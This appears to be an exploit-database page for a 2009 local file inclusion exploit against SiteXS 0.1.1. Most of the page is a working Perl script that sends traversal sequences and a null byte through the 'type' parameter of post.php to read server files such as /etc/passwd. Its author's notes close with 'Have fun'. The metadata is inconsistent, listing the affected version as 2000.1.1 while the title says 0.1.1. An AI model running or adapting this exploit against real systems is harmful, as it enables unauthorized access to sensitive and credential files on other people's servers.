header-logo
Suggest Exploit
vendor:
SiteXS
by:
darkjoker
7.5
CVSS
HIGH
Local File Inclusion
22
CWE
Product Name: SiteXS
Affected Version From: 2000.1.1
Affected Version To: 2000.1.1
Patch Exists: YES
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2009

SiteXS <= 0.1.1 Local File Inclusion Exploit

This exploit allows an attacker to gain access to sensitive files on the server by exploiting a vulnerability in SiteXS <= 0.1.1. The vulnerability is caused due to the improper sanitization of user-supplied input to the 'type' parameter in 'post.php'. This can be exploited to include arbitrary files from local resources via directory traversal attacks.

Mitigation:

Upgrade to the latest version of SiteXS or apply the appropriate patch.
Source

Exploit-DB raw data:

# --+++==========================================================+++--
# --+++====== SiteXS <= 0.1.1 Local File Inclusion Exploit ======+++--
# --+++==========================================================+++--


#!/usr/bin/perl

use strict;
use warnings;
use IO::Socket;

sub usage ()
{
	die "\n\nSiteXS <= 0.1.1 Local File Inclusion Exploit".
	    "\n[+] Author  : darkjoker".
	    "\n[+] Site    : http://darkjoker.net23.net".
	    "\n[+] Download: http://heanet.dl.sourceforge.net/sourceforge/sitexs/sitexs-0.1.1.tar.gz".
	    "\n[+] Usage   : perl ${0} <hostname> <path> <file>".
	    "\n[+] Ex.     : perl ${0} localhost /SiteXS /etc/passwd".
	    "\n[+] Notes   : Have fun\n\n";
}

my ($host, $path, $file) = @ARGV;

usage if (!$file);

my $sock = new IO::Socket::INET (
	PeerHost => $host,
	PeerPort => 80,
	Proto    => "tcp",
);

my $up = "../"x10;

$file =~ s/^\/// if ($file =~ /^\//);

my $varz = "type=${up}${file}%00";

my $post = "POST ${path}/post.php HTTP/1.1\r\n".
	"Host:	${host}\r\n".
	"Connection: Close\r\n".
	"Content-Type: application/x-www-form-urlencoded\r\n".
	"Content-Length: " . length ($varz) . "\r\n\r\n".
	$varz;

print $sock $post;

my $w = 0;

while (<$sock>)
{
	$w = 1 if ($w < 0);
	$w = -1 if ($_ =~ /Content-Type: text\/html/);
	$w = 0 if ($_ =~ /<br \/>/);
	print $_ if ($w == 1);

}

print "\n\n";

close ($sock);

# milw0rm.com [2009-01-26]